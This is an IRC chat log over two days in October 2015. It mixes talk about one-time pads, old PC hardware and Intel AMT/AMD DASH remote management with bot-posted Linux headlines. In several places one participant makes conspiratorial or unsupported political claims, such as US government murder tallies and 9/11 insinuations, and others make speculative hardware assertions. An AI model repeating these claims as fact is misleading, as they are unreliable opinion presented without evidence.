MinceR	dunno, i wasn't born back then, afaik	Oct 04 18:42
MinceR	lead?	Oct 04 18:42
MinceR	oh, lead tubing	Oct 04 18:42
r_schestowitz	looks like "kylerigg" was clearly a troll	Oct 04 18:43
MinceR	well, that's bad regardless of cellphone technology	Oct 04 18:43
r_schestowitz	we haven't had those here for quite a while	Oct 04 18:43
gde33	MinceR: and/or say old fillings?	Oct 04 18:43
r_schestowitz	but that person came from COLA/USENET, so no surprise	Oct 04 18:43
MinceR	we do, but we don't ban them :>	Oct 04 18:43
r_schestowitz	ignore tham till they get bored and leave	Oct 04 18:43
MinceR	gde33: that's unfortunate. now we have polymer fillings	Oct 04 18:43
cubexyz	I don't ban anyone because I can't remember my password	Oct 04 18:43
r_schestowitz	free speech != right to an audience	Oct 04 18:43
cubexyz	too many passwords	Oct 04 18:43
MinceR	exactly	Oct 04 18:43
gde33	MinceR: if the metals are not the same you get a kind of mouth battery -.-	Oct 04 18:44
MinceR	:>	Oct 04 18:44
MinceR	MRI could be fun too, i guess	Oct 04 18:44
gde33	leaching mercury etc	Oct 04 18:44
r_schestowitz	"kylerigg: we're not obligated to listen to what you have to say. that is not censorship."	Oct 04 18:44
r_schestowitz	"cubexyz: Leave kylerigg alone!"	Oct 04 18:44
r_schestowitz	msb_ said that	Oct 04 18:45
r_schestowitz	oh dear...	Oct 04 18:45
cubexyz	in the olden days a kick would have bee immiment	Oct 04 18:45
cubexyz	s/bee/been/	Oct 04 18:45
gde33	I think we need some type of new hardware design language to bring coding back to the roots	Oct 04 18:47
r_schestowitz	came from 108-162-134-2.cable.teksavvy.com	Oct 04 18:47
MinceR	what would it be like? old ThinkPad? :>	Oct 04 18:47
gde33	you can just combine a bunch of components and call it unicornFooBar	Oct 04 18:48
gde33	that should be familiar enough	Oct 04 18:48
cubexyz	people still build z80 computers	Oct 04 18:48
r_schestowitz	Canadian	Oct 04 18:48
cubexyz	it's just a bit too primitive for your main computer	Oct 04 18:48
gde33	then make a nice runtime for virtual hardware :)	Oct 04 18:48
gde33	if it gets popular you bake it into a product	Oct 04 18:49
gde33	like an usb stick with an irc client on it	Oct 04 18:49
cubexyz	there's FPGA boards	Oct 04 18:49
gde33	if you have enough of those the mobo design could allow for new freedoms :)	Oct 04 18:49
cubexyz	even FPGA PDP-11 if you want	Oct 04 18:49
gde33	could even disable part of the 1.0 hardware and simulate the 1.2	Oct 04 18:51
MinceR	but no fully free FPGA yet, afaik	Oct 04 18:51
gde33	I hear ROM might come back based on cd burning tech	Oct 04 18:51
gde33	would be nice to have ROM again	Oct 04 18:51
cubexyz	the BIOS should be able to lock out writes	Oct 04 18:52
gde33	everything in software is teribly insecure	Oct 04 18:52
cubexyz	at least in the older motherboards, say 1997 to 2001 or so	Oct 04 18:52
cubexyz	they really should have used a jumper, but data centres don't like jumpers	Oct 04 18:53
gde33	heh	Oct 04 18:53
MinceR	they should at least have a DIP switch	Oct 04 18:54
gde33	imagine the performance when you mass produce virtual hardware as physical thingies	Oct 04 18:54
cubexyz	they used to have dip switches!	Oct 04 18:54
MinceR	and make sure it's unnecessary to flash the most basic stuff most of the time	Oct 04 18:55
cubexyz	I can definitely remember those	Oct 04 18:55
cubexyz	bus speed had a jumper	Oct 04 18:55
gde33	some old paper described a damaged crystal with a laser and some photocells able to produce a random string many TB long	Oct 04 18:56
gde33	bake those in the hardware, keep a sub set on the company server	Oct 04 18:56
gde33	an undisclosed sub set ofc ;)	Oct 04 18:56
gde33	then can have unhackable communication	Oct 04 18:56
gde33	a bit like every session starts with a new password	Oct 04 18:57
gde33	ehh I mean every communication	Oct 04 18:57
gde33	every byte its own unique encryption	Oct 04 18:57
MinceR	can you damage two crystals identically so they'll produce the same string?	Oct 04 18:59
gde33	no	Oct 04 19:00
MinceR	so how will both sides know the same key?	Oct 04 19:00
gde33	you copy a sub set onto a drive	Oct 04 19:00
MinceR	oh, i see	Oct 04 19:00
gde33	say 10 GB of random locations	Oct 04 19:00
MinceR	well, they do something like that	Oct 04 19:00
MinceR	https://en.wikipedia.org/wiki/One-time_pad#Uses	Oct 04 19:01
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gde33	could be more fun if reading 10 GB would take a few days	Oct 04 19:01
gde33	then copying the whole 10 TB would take a lot of time	Oct 04 19:01
gde33	creating known crystals would be doable but deploying them in some kind of hack wouldnt work	Oct 04 19:03
gde33	I could steal your key crystal and copy it in 20 000 days then put it back without you noticing it	Oct 04 19:03
gde33	haha	Oct 04 19:03
MinceR	:>	Oct 04 19:05
gde33	the man in the middle wouldnt be able to decode anything	Oct 04 19:05
MinceR	OTOH, if someone sneakily replaces the crystal in both endpoints to non-matching replacements they have copies of, they could do an MITM attack	Oct 04 19:07
gde33	if the program is on a chip that talks directly to the monitor you wouldnt even be able to hack it if you control the machine	Oct 04 19:07
MinceR	[Alice] key0 <-> key0 [Bob] ===> [Alice] key1 <-> key1 [attacker] key2 <-> key2 [Bob]	Oct 04 19:07
gde33	I'm sure the smart hacker would be able to figure out something - but it beats passwords	Oct 04 19:07
r_schestowitz	finally caught up with 2 week's absence from irc...	Oct 04 19:08
MinceR	:)	Oct 04 19:08
MinceR	i never catch up with my absence	Oct 04 19:08
r_schestowitz	posted some funny MinceR things to social media	Oct 04 19:08
gde33	I have 10-20 k news feed subscriptions, I only try read the latest 1000	Oct 04 19:08
r_schestowitz	MinceR: depends if it's emails you get, comments you receive, channel or just some random stuff online	Oct 04 19:08
r_schestowitz	rss not the highest priority for me, except for some sites	Oct 04 19:09
gde33	I'm always days behind	Oct 04 19:09
r_schestowitz	not opensource.redhat	Oct 04 19:09
*MinceR saw some of them		Oct 04 19:09
r_schestowitz	or ostatis.omalim	Oct 04 19:09
r_schestowitz	or miguel de icaza's blog	Oct 04 19:09
r_schestowitz	I _like_ softpedia	Oct 04 19:10
cubexyz	http://www.maxhost.org/other/meanwhile-at-volkswagen.jpg	Oct 04 19:10
cubexyz	:)	Oct 04 19:10
cubexyz	I like the green checkmark	Oct 04 19:10
cubexyz	http://www.maxhost.org/other/meanwhile-at-volkswagen-part-2.gif	Oct 04 19:19
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MinceR	http://blog.dilbert.com/post/130481922096/the-american-gun-problem-and-how-a-master-wizard#_=_	Oct 04 20:09
cubexyz	what's with the underscores and equal sign at the end of the URL?	Oct 04 20:13
MinceR	some tumblr magic	Oct 04 20:16
MinceR	afaict it doesn't do anything	Oct 04 20:17
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msb_	wiki: 11,208 gun murders in 2013. Deaths from old age per year -- population / 70 = 4,500,000 Probability of getting killed with a gun = 1 in 400.	Oct 04 20:51
msb_	Murders committed by US govt in last 14 years = 2,000,000	Oct 04 20:52
*MinceR yawns		Oct 04 20:52
msb_	Possibility of US govt committing a large number of murders in the US = unknown, but why should the murderous psychopaths who run the US govt be less likely to kill Americans than Iraqis or Afghanis?	Oct 04 20:53
msb_	MinceR should get some sleep if his brain isn't working.	Oct 04 20:54
MinceR	and msb_ gets right to the personal attacks	Oct 04 20:54
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MinceR	scraping the bottom of the barrel	Oct 04 20:54
TweetTuxMachines	@tuxmachines Confirmation Of Substance Designer Being Ported	Oct 04 20:54
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TweetTuxMachines	@tuxmachines Linux Kernel 4.1.10 LTS Is Now Available for	Oct 04 20:55
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*MinceR wonders if the russian government is getting their money's worth		Oct 04 20:55
TweetTuxMachines	@tuxmachines Huawei Watch Review: Best Android Wear	Oct 04 20:55
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msb_	"MinceR yawns" is a personal attack. So is "MinceR wonders if the russian government is getting their money's worth"	Oct 04 20:55
*MinceR 's biological processes are personal attacks		Oct 04 20:56
MinceR	everybody and everything is out to get msb_, it seems	Oct 04 20:56
MinceR	even the arrow of time is out to get msb_	Oct 04 20:56
MinceR	http://www.cracked.com/blog/why-comparing-donald-trump-to-hitler-makes-perfect-sense/	Oct 04 20:59
-TechrightsBot-tr/#techrights-www.cracked.com \| 5 Ways Donald Trump Perfectly Mirrors Hitler's Rise To Power \| Cracked.com [ http://ur1.ca/nwzht ]		Oct 04 20:59
msb_	The US govt has committed about 180 times as many murders in its 21st century military rampage as the number of people killed by guns in the US every year.	Oct 04 20:59
MinceR	and now, a word from msb_'s sponsors...	Oct 04 21:01
msb_	Unless and until the US govt gets a sane leader, like Bernie Sanders (not H Clinton, who joyfully murdered Libya), Americans would do well to have guns ready to defend themselves against their murderous psychopath government. That said, taking guns away from people with a proved history of violence or actual threats of violence would be a good idea.	Oct 04 21:03
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msb_	RT just did a story about the Syrian Observatory For Human Rights, the source for many reports that Russia is bombing civilians in Syria. It turns out to be one guy in a house in Coventry England who hates Assad.	Oct 04 21:14
msb_	He wouldn't talk on camera because he says people are trying to kill him.	Oct 04 21:15
msb_	RT also showed about 5 pictures of dead people supposedly caused by Russian bombing in Syria, that were actually from Iraq, or last year, etc.	Oct 04 21:18
MinceR	https://en.wikipedia.org/wiki/Human_rights_in_Russia	Oct 04 21:22
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msb_	This article, by Robert Parry, a long-time and highly respected US journalist explains why the US and Israel don't want to get rid of Al Qaeda (Al Nusrah) or ISIL in Syria. For one thing, it would make it more difficult for Israel to attack the Palestinians again. http://www.commondreams.org/views/2015/10/02/should-us-ally-al-qaeda-syria	Oct 04 21:26
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msb_	The historical origins of the US/Israeli attacks on Syria and Assad, from the 1990s, also from Robert Parry: https://consortiumnews.com/2013/03/20/the-mysterious-why-of-the-iraq-war/	Oct 04 21:38
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MinceR	http://img.izismile.com/img/img8/20151001/1000/daily_gifdump_921_09.gif	Oct 04 21:52
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msb_	http://www.ifamericansknew.org/us_ints/nc-pilger.html Written by the award-winning British jounalist John Pilger (https://en.wikipedia.org/wiki/John_Pilger) this article covers the Neocon/Likud (ultra-fascist) organization PNAC and its position paper that says to carry out its attacks on Middle East nations, Americans will require for motivation "a new Pearl Harbor". Guess what that turned out to be!	Oct 04 22:10
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-TechrightsBot-tr/#techrights-en.wikipedia.org \| John Pilger - Wikipedia, the free encyclopedia [ http://ur1.ca/nwztr ]		Oct 04 22:10
msb_	It's easy to understand the world situation if you go back to the 1980s, when Reagan armed and financed the jihadi Mujahideen to defeat the Russian-allied liberal socialist government in Afghanistan. That led to the Taliban taking over, and the Mujahideen became Al Qaeda. The Neocons/Likudniks took it from there to the present.	Oct 04 22:33
cubexyz	interesting	Oct 04 22:47
cubexyz	I had a discussion with the PDP-11 experts	Oct 04 22:47
cubexyz	there's no PDP-11 BIOS, it didn't exist	Oct 04 22:47
cubexyz	and they declare the PC as 'broken hardware'	Oct 04 22:48
cubexyz	the PDP-11 had only boot roms	Oct 04 22:49
msb_	For the PC being "broken hardware" I sure had a great time with it!	Oct 04 23:01
cubexyz	back in 1984 I remember reading articles that were critical of the IBM PC	Oct 04 23:02
msb_	Far more powerful than the PDP-8/PDP-12 I was used to, much cheaper, and mine, all mine!	Oct 04 23:02
msb_	I eventually hung a color display on it with a high-res graphic card, a 720KB floppy, a 15MB hard drive, and bought the manual with the schematics and BIOS listing.	Oct 04 23:04
msb_	Bought the MS and Borland (much better) C compilers and taught myself programming.	Oct 04 23:05
cubexyz	I think my first 286 had 1 meg of memory	Oct 04 23:06
cubexyz	640k with 384k extended memory	Oct 04 23:07
cubexyz	no MMU and a rather awkward x86 memory segmentation scheme	Oct 04 23:08
msb_	I think you said I want an AMD mobo without DASH in the BIOS. But isn't DASH a microprocessor inside the CPU that can be activated without BIOS assistance?	Oct 04 23:08
cubexyz	that's a good question	Oct 04 23:09
cubexyz	part of it must be in the BIOS though	Oct 04 23:10
msb_	But can the govt get in without that part?	Oct 04 23:10
msb_	I want my 8 cores! Waah!	Oct 04 23:11
cubexyz	with DASH someone could take full control of your computer	Oct 04 23:12
msb_	Can DASH be defeated by constantly overwriting the section of himem that it uses (if it works like AMT)?	Oct 04 23:12
cubexyz	also DASH has a kill switch	Oct 04 23:12
msb_	I know! I read all your stuff!	Oct 04 23:13
cubexyz	remember that there's a part of memory reserved for DASH that you can't write to	Oct 04 23:13
msb_	If the govt can get into DASH via the NIC, why can't I?	Oct 04 23:15
cubexyz	you can	Oct 04 23:15
msb_	Hoo-hah! Then I can whack it!	Oct 04 23:16
cubexyz	there are even advantages to using DASH, such as remote control of your computer	Oct 04 23:16
cubexyz	I'm just worried that the bad guys and NSA can do the same	Oct 04 23:17
cubexyz	it seems unnecessary to me as I can always do that via ssh	Oct 04 23:17
cubexyz	DASH control seems more severe	Oct 04 23:18
cubexyz	in theory if your laptop is stolen, DASH can kill it so the bad guy can't use it	Oct 04 23:19
cubexyz	that's the idea anyways	Oct 04 23:19
msb_	Can a good stream-following firewall in a router keep the baddies out?	Oct 04 23:20
cubexyz	see, DASH operates at a lower level that the OS	Oct 04 23:22
cubexyz	that's the problem	Oct 04 23:23
cubexyz	a smart hacker could turn your fans off	Oct 04 23:24
msb_	But the govt would still have to activate DASH by sending it some kind of packet(s). Can I keep those out with a firewall in a router?	Oct 04 23:24
cubexyz	NSA can hack your router	Oct 04 23:25
cubexyz	so I'd say probably it's not a great defense	Oct 04 23:25
cubexyz	I know some hackers can KO the router... make it unresponsive	Oct 04 23:25
cubexyz	that's annoying but not too serious	Oct 04 23:26
cubexyz	I mean the whole DASH thing is a back door into the computer	Oct 04 23:27
msb_	Are there any secure routers? Could I make one from an SBC?	Oct 04 23:27
cubexyz	the bad guys sometimes attack your ISP as well	Oct 04 23:28
cubexyz	well yes, if you programmed the router yourself it would be quite hard to attack	Oct 04 23:29
msb_	Well, then I get disconnected, but I still have my data.	Oct 04 23:29
cubexyz	sure	Oct 04 23:29
cubexyz	business grade cisco routers are better than the store bought ones	Oct 04 23:30
cubexyz	more expensive too	Oct 04 23:30
msb_	There's FOSS code for routers, so I could start from there.	Oct 04 23:30
msb_	Are the packets that activate DASH well defined?	Oct 04 23:30
msb_	I could make the router examine all packets and drop those (and give an alarm).	Oct 04 23:31
cubexyz	it would be a lot simpler if there was no DASH capability on the motherboard	Oct 04 23:32
msb_	Are you sure it's required to access DASH in the CPU?	Oct 04 23:33
msb_	brb	Oct 04 23:34
cubexyz	I think Intel Vpro is actually inside the CPU so AMD's version probably is as well	Oct 04 23:35
cubexyz	it could be doing all sorts of stuff which is invisible to the user	Oct 04 23:36
cubexyz	there's a 3G chip _inside_ the CPU	Oct 04 23:37
cubexyz	a second processor inside the main one	Oct 04 23:37
cubexyz	so the question is, does the NSA have a back door into these CPUs	Oct 04 23:38
cubexyz	I don't see what the averager user can do to stop that	Oct 04 23:39
cubexyz	Intel confirmed they have a kill switch	Oct 04 23:40
cubexyz	it gets even better...	Oct 04 23:40
cubexyz	there's out-of-band communications that a normal user can't even see or use	Oct 04 23:40
cubexyz	it's a bit of a problem	Oct 04 23:41
cubexyz	you get a specific RF knock-knock and... well who knows	Oct 04 23:45
cubexyz	maybe look at the snowden stuff if there's a torrent or something	Oct 04 23:47
msb_	But if I don't use wifi at all -- short the antenna to ground if necessary -- then my only connection is via the TV cable. So if I put a total packet inspection router in the wire to the cable modem, I should be able to stop all DASH-bound packets, if I can identify them.	Oct 04 23:51
msb_	brb	Oct 04 23:55
cubexyz	"commands can be received via 3G signals, ethernet or other internet connections	Oct 05 00:16
cubexyz	"	Oct 05 00:16
cubexyz	there are two TCP/IP stacks!	Oct 05 00:23
cubexyz	one in the firmware, and one in the OS	Oct 05 00:23
msb_	Right, but I have complete control of what's connected to the NIC(s), and can eliminate everything but the ethernet cable to my cable-modem.	Oct 05 00:42
msb_	Since DASH is supposed to be for corps to control their computers, the DASH commo protocol must be available.	Oct 05 00:45
msb_	Plus, the router SBC or another one on my side of the router, can keep sending DASH packets shutting it down.	Oct 05 00:50
msb_	cubexyz: This could be done by anyone, even someone using wifi, if they put the wifi transceiver on the far side of the router.	Oct 05 00:51
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r_schestowitz	https://joindiaspora.com/posts/6665739	Oct 05 03:26
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Donald #Rump http://gfycat.com/AdolescentEvergreenElephantbeetle		Oct 05 03:26
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r_schestowitz	"Manson looks like a Klingon, doesn’t he?"	Oct 05 03:26
r_schestowitz	I didn't know it was Manson	Oct 05 03:26
msb_	The TV show Madame Secretary, starring Tea Leoni, has started its second season, this episode directed by Morgan Freeman. It is absolutely wonderful!	Oct 05 03:44
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TweetTuxMachines	@tuxmachines Wind River Continues Advancing Development of	Oct 05 04:40
TweetTuxMachines	IoT Devices with Latest Version of	Oct 05 04:40
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TweetTuxMachines	@tuxmachines Manjaro Update 2015-10-04 (testing)	Oct 05 05:11
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TweetTuxMachines	@tuxmachines Huawei Watch Review: Best Android Wear	Oct 05 05:11
TweetTuxMachines	Smartwatch Available http://t.co/Jv329gRzP6	Oct 05 05:11
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TweetTuxMachines	@tuxmachines Canonical launches new ‘#InternetOfToys’	Oct 05 05:55
TweetTuxMachines	initiative with partners http://t.co/lROmiM5Jqr	Oct 05 05:55
TweetTuxMachines	(www.tuxmachines.org)	Oct 05 05:55
TweetTuxMachines	........................................ http://ur1.ca/nx1vp	Oct 05 05:55
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Canonical launches new ‘#InternetOfToys’ initiative with partners \| Tux Machines		Oct 05 05:55
TweetTuxMachines	@tuxmachines Meet #WorldWithoutLinux Animator Amelia Lorenz	Oct 05 05:55
TweetTuxMachines	http://t.co/gXMLVqCzTO (www.tuxmachines.org)	Oct 05 05:55
TweetTuxMachines	........................................ http://ur1.ca/nx1vq	Oct 05 05:55
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TweetTuxMachines	@tuxmachines The Linux Foundation Announces Project to	Oct 05 05:56
TweetTuxMachines	Advance Real-Time Linux http://t.co/XycEB1Aslq	Oct 05 05:56
TweetTuxMachines	(www.tuxmachines.org)	Oct 05 05:56
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TweetTuxMachines	........................................ http://ur1.ca/nx1vs	Oct 05 05:56
TweetTuxMachines	@tuxmachines AV-TEST Laboratory Says Free Anti-Virus Apps on	Oct 05 05:56
TweetTuxMachines	Linux Are the Worst http://t.co/48o80fjNG9	Oct 05 05:56
TweetTuxMachines	(www.tuxmachines.org)	Oct 05 05:56
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TweetTuxMachines	........................................ http://ur1.ca/nx1vt	Oct 05 05:56
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*TweetTuxMachines @techmuser favourited 'AV-TEST Laboratory Says Free Anti-Virus Apps on Linux...'		Oct 05 06:41
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TweetTuxMachines	@tuxmachines PPSSPP 1.1 Gets ARM64 and Android TV Support,	Oct 05 07:13
TweetTuxMachines	Still the Best Free PSP Emulator	Oct 05 07:13
TweetTuxMachines	http://t.co/KlJQk5AMmK (news.softpedia.com)	Oct 05 07:13
TweetTuxMachines	........................................ http://ur1.ca/nx2a3	Oct 05 07:13
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TweetTuxMachines	@tuxmachines Danish public libraries unite around open	Oct 05 07:13
TweetTuxMachines	source http://t.co/wIyqmajcYm	Oct 05 07:13
TweetTuxMachines	(www.tuxmachines.org)	Oct 05 07:13
TweetTuxMachines	........................................ http://ur1.ca/nx2a4	Oct 05 07:13
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TweetTuxMachines	@tuxmachines Exploring the Raspberry Pi Sense HAT	Oct 05 07:14
TweetTuxMachines	http://t.co/NZUoPGeyTs (www.tuxmachines.org)	Oct 05 07:14
TweetTuxMachines	........................................ http://ur1.ca/nx2a7	Oct 05 07:14
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TweetTuxMachines	@tuxmachines Ubuntu 15.10: More kitten than beast – but	Oct 05 08:42
TweetTuxMachines	beware the claws http://t.co/Gcyyyvkh1H	Oct 05 08:42
TweetTuxMachines	(www.tuxmachines.org)	Oct 05 08:42
TweetTuxMachines	........................................ http://ur1.ca/nx2qn	Oct 05 08:42
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TweetTuxMachines	@tuxmachines Media Advisory: Linux Foundation Debuts Digital	Oct 05 08:42
TweetTuxMachines	Video Series to Raise Awareness of the Ubiquity	Oct 05 08:42
TweetTuxMachines	of Linux http://t.co/X1T1idFeRU	Oct 05 08:42
TweetTuxMachines	(www.digitaljournal.com)	Oct 05 08:42
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TweetTuxMachines	........................................ http://ur1.ca/nx2qo	Oct 05 08:42
TweetTuxMachines	@tuxmachines World Without Linux Video Series Debuts	Oct 05 08:42
TweetTuxMachines	http://t.co/971cyK54N9 (www.linux.com)	Oct 05 08:42
TweetTuxMachines	........................................ http://ur1.ca/nx2qp	Oct 05 08:42
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TweetTuxMachines	@tuxmachines Exploring the Raspberry Pi Sense HAT	Oct 05 08:55
TweetTuxMachines	http://t.co/JIh5AxZHB4 (opensource.com)	Oct 05 08:55
TweetTuxMachines	........................................ http://ur1.ca/nx2tg	Oct 05 08:56
-TechrightsBot-tr/#techrights-opensource.com \| A look at the Raspberry Pi Sense HAT \| Opensource.com		Oct 05 08:56
TweetTuxMachines	@tuxmachines Ubuntu 15.10: More kitten than beast – but	Oct 05 08:56
TweetTuxMachines	beware the claws http://t.co/GjLkB1FsLR	Oct 05 08:56
TweetTuxMachines	(www.theregister.co.uk)	Oct 05 08:56
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TweetTuxMachines	........................................ http://ur1.ca/nx2th	Oct 05 08:56
TweetTuxMachines	@tuxmachines Thus versus Calamares: Comparing Manjaro 15.09	Oct 05 08:56
TweetTuxMachines	installers http://t.co/igM017dEtr	Oct 05 08:56
-TechrightsBot-tr/#techrights-www.zdnet.com \| Thus versus Calamares: Comparing Manjaro 15.09 installers \| ZDNet		Oct 05 08:56
TweetTuxMachines	(www.zdnet.com)	Oct 05 08:56
TweetTuxMachines	........................................ http://ur1.ca/nx2ti	Oct 05 08:56
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TweetTuxMachines	@tuxmachines Solus Operating System Is Being Delayed Due to	Oct 05 09:57
TweetTuxMachines	Bad Karma http://t.co/8NouGd6AqH	Oct 05 09:57
TweetTuxMachines	(news.softpedia.com)	Oct 05 09:57
-TechrightsBot-tr/#techrights-news.softpedia.com \| Solus Operating System Is Being Delayed Due to Bad Karma - Softpedia		Oct 05 09:57
TweetTuxMachines	........................................ http://ur1.ca/nx369	Oct 05 09:57
TweetTuxMachines	@tuxmachines Trine 3: The Artifacts Of Power Linux Beta	Oct 05 09:57
TweetTuxMachines	Released https://t.co/AwHC2b0n3B	Oct 05 09:57
TweetTuxMachines	(www.gamingonlinux.com) "Trine 3: The Artifacts	Oct 05 09:57
TweetTuxMachines	of Power in beta form."	Oct 05 09:57
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TweetTuxMachines	........................................ http://ur1.ca/nx36a	Oct 05 09:57
TweetTuxMachines	@tuxmachines Linux vigilante fixes your router	Oct 05 09:57
TweetTuxMachines	http://t.co/M9Ztjoj9oo (www.tuxmachines.org)	Oct 05 09:57
TweetTuxMachines	........................................ http://ur1.ca/nx36b	Oct 05 09:57
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Linux vigilante fixes your router \| Tux Machines		Oct 05 09:57
TweetTuxMachines	@tuxmachines KPMG: five good reasons to use open souce	Oct 05 09:57
TweetTuxMachines	http://t.co/77sdr0c1uR (www.tuxmachines.org)	Oct 05 09:57
TweetTuxMachines	........................................ http://ur1.ca/nx36d	Oct 05 09:57
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TweetTuxMachines	@tuxmachines Navigating a sea of frontend frameworks	Oct 05 09:57
TweetTuxMachines	http://t.co/Ne22cWgmdr (www.tuxmachines.org)	Oct 05 09:57
TweetTuxMachines	........................................ http://ur1.ca/nx36g	Oct 05 09:57
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TweetTuxMachines	@tuxmachines Solus Operating System Is Being Delayed Due to	Oct 05 09:58
TweetTuxMachines	Bad Karma http://t.co/lt8MSLl41e	Oct 05 09:58
TweetTuxMachines	(www.tuxmachines.org)	Oct 05 09:58
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Solus Operating System Is Being Delayed Due to Bad Karma \| Tux Machines		Oct 05 09:58
TweetTuxMachines	........................................ http://ur1.ca/nx36h	Oct 05 09:58
MinceR	http://www.mcsweeneys.net/articles/nihilistic-password-security-questions	Oct 05 10:02
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MinceR	(javascript) http://www.pcjs.org/devices/pc/machine/5160/cga/256kb/win101/	Oct 05 10:10
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TweetTuxMachines	@tuxmachines Trine 3: The Artifacts Of Power Linux Beta	Oct 05 11:01
TweetTuxMachines	Released http://t.co/grkWH18f5I	Oct 05 11:01
TweetTuxMachines	(www.tuxmachines.org)	Oct 05 11:01
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Trine 3: The Artifacts Of Power Linux Beta Released \| Tux Machines		Oct 05 11:01
TweetTuxMachines	........................................ http://ur1.ca/nx3ly	Oct 05 11:01
*TweetTuxMachines got exception: Unexpected end of ZLIB input stream ; reconnecting to Twitter...		Oct 05 11:01
msb_	What will TPP do? http://www.globalresearch.ca/as-secret-trade-talks-reveal-cracks-demonstrators-aim-death-blows-at-tpp/5479476	Oct 05 12:34
-TechrightsBot-tr/#techrights-www.globalresearch.ca \| As Secret Trade Talks Reveal Cracks, Demonstrators Aim Death Blows at TPP \| Global Research - Centre for Research on Globalization [ http://ur1.ca/nx43m ]		Oct 05 12:34
msb_	Prevent GMO labelling? Limit amount of nutrients that can be sold? Totally secret, written by huge corporations who knows?	Oct 05 12:36
cubexyz	Intel AMT can remotely power up, power down and reboot a computer	Oct 05 12:47
cubexyz	it can remotely troubleshoot the system even if the host operating system is off or crashed	Oct 05 12:48
cubexyz	remotely view and change the BIOS configuration settings	Oct 05 12:48
cubexyz	monitor which applications are running on the host OS	Oct 05 12:49
cubexyz	this includes changing the boot device remotely	Oct 05 12:49
cubexyz	you can remotely reflash the BIOS too	Oct 05 12:50
cubexyz	it's the ultimate backdoor into the computer	Oct 05 12:51
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msb_	AMT can kill the user using electric shock or microwaves.	Oct 05 13:49
msb_	AMT can sell the computer and give the money to the government.	Oct 05 13:50
msb_	AMT can kick your girlfriend and rape your dog.	Oct 05 13:54
msb_	AMT can make you get a tatoo that says "Windows Inside".	Oct 05 13:55
msb_	AMT can sell your brain to the nearest zombie -- cheap!	Oct 05 13:56
cubexyz	:)	Oct 05 14:21
cubexyz	just imagine AMT combined with windows 10	Oct 05 14:26
cubexyz	the user wouldn't have a chance	Oct 05 14:26
cubexyz	http://www.maxhost.org/other/another-happy-windows-10-customer.txt	Oct 05 14:27
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msb_	Well, that's good. He's ready to wipe his disk and install Linux!	Oct 05 15:28
msb_	Or buy another disk and try to get his data off this one.	Oct 05 15:30
MinceR	and if he's not careful he'll get lendows	Oct 05 15:37
MinceR	and he'll end up where he started	Oct 05 15:37
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cubexyz	my bet advice is have one openbsd machine	Oct 05 16:03
cubexyz	s/bet/best/	Oct 05 16:03
cubexyz	yes, things are a bit of a mess nowadays	Oct 05 16:06
cubexyz	one of the reasons why operating systems are so problematic is they have gotten so bloated	Oct 05 16:14
cubexyz	it's really hard to avoid it	Oct 05 16:14
cubexyz	my typical openbsd session uses about 50 processes	Oct 05 16:17
cubexyz	my typical Linux sessions uses about 100 processes	Oct 05 16:17
cubexyz	and it doesn't seem to matter which era of Linux it is... FC1 is about 100 processes, Slackware 12.1 is about 100 processes	Oct 05 16:17
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msb_	That's not really a problem, because today's computers have so much speed and memory,	Oct 05 16:18
msb_	Hopefully Devuan will get going (some people are already using it in alpha) and then we'll have a Linux we can use and recommend.	Oct 05 16:19
cubexyz	well, it's not a huge problem as I can run BL3 with 8 processes	Oct 05 16:22
cubexyz	it's pretty much on par with Unix v5 other that the fact it uses quite a lot more memory	Oct 05 16:23
cubexyz	su	Oct 05 16:23
cubexyz	some distros do support older computers	Oct 05 16:33
cubexyz	non-PAE computers for example	Oct 05 16:34
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msb_	cubexyz: I went to the amd.com website an put DASH in the search bar at upper right, and got lots of relevant hits.	Oct 05 17:12
MinceR	that speed and memory won't help you if you waste it all	Oct 05 17:14
MinceR	also, bloated code is also complex, which leads to more bugs	Oct 05 17:14
MinceR	what's DASH?	Oct 05 17:16
r_schestowitz	https://twitter.com/trancotrans15/status/651145064786214912	Oct 05 17:23
-TechrightsBot-tr/#techrights-@trancotrans15: RT http://t.co/tegqTcRzpC #SteamOS Brewmaster Now Has Improved Auto-Repair Function http://t.co/4vZHCLg3U7 #games #gnu #linux		Oct 05 17:23
-TechrightsBot-tr/#techrights-@schestowitz: #SteamOS Brewmaster Now Has Improved Auto-Repair Function http://t.co/dkJDg06ee5 #games #gnu #linux		Oct 05 17:23
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r_schestowitz	https://twitter.com/Trancotrans/status/651147320969396225	Oct 05 17:37
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cubexyz	DASH = Desktop and mobile Architecture for System Hardware	Oct 05 17:51
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MinceR	http://www.madmagazine.com/blog/2015/10/05/carly-fiorina-updates-her-facebook-profile-pic	Oct 05 19:22
-TechrightsBot-tr/#techrights-www.madmagazine.com \| Carly Fiorina Updates Her Facebook Profile Pic \| Mad Magazine [ http://ur1.ca/nx7m0 ]		Oct 05 19:22
msb_	MinceR: I have 8GB of RAM and an old 2-core cpu. Linux only uses about 10% of each. "Bloat" is not a problem with modern computers (or 5 year old ones).	Oct 05 19:38
MinceR	it still is, for example with the "modern" web or other "modern" software such as cancerd	Oct 05 19:42
msb_	I have about 300 processes -- lots of bash's and mc's. Firefox uses 30% of the cpu because I have lots of windows and tabs. Otherwise it wouldn	Oct 05 19:45
msb_	MinceR: I have about 300 processes -- lots of bash's and mc's. Firefox uses 30% of the cpu because I have lots of windows and tabs. Otherwise it wouldn't. I will never use systemd.	Oct 05 19:45
MinceR	afaict bash and mc aren't bad at all	Oct 05 19:46
MinceR	no wonder the kids don't like either :>	Oct 05 19:46
msb_	Using konsole, mc, and klipper, I've developed scripts for CLI drag-n-drop that can move, copy, compare, etc, any file between two directories, even in different desktops, using only about 3 keystrokes.	Oct 05 19:49
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msb_	Extremely informative interview of Temple Grandin about her work on non-cruel animal husbandry and autism on RT program Watching the Hawks.	Oct 05 21:57
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TweetTuxMachines	@tuxmachines Manjaro JWM Edition 41015 released	Oct 05 23:30
TweetTuxMachines	http://t.co/8veUDDlZZO (www.tuxmachines.org)	Oct 05 23:30
TweetTuxMachines	........................................ http://ur1.ca/nx9x8	Oct 05 23:30
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Manjaro JWM Edition 41015 released \| Tux Machines		Oct 05 23:30
TweetTuxMachines	@tuxmachines Fedora 24 Linux Operating System to Use	Oct 05 23:30
TweetTuxMachines	NetworkManager 1.2 by Default	Oct 05 23:30
